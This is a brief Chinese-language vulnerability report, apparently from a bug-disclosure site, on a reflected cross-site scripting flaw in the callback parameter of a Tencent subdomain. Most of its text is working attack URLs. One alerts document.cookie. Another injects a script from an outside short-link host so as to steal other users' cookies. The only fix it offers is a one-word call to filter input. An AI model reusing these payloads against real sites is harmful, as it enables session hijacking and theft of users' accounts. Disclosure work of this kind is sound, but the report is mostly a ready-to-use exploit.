腾讯分站反射型跨站可获取小甜饼
详细说明：
1：访问http://sync.coral.qq.com/t/1000269489?source=1&callback=1014xxx%3Csvg/onload=alert%28document.cookie%29%3E&_=1376185737425
漏洞证明：
2：构造获取cookie的链接：
http://sync.coral.qq.com/t/1000269489?source=1&callback=1014xxx%3Csvg/onload=%22var/**/s=document.createElement%28%27script%27%29;s.src=%27http://t.cn/zl70EH3%27;document.body.appendChild%28s%29;%22%3E&_=1376185737425
可获取别人cookie：
修复方案：
过滤！！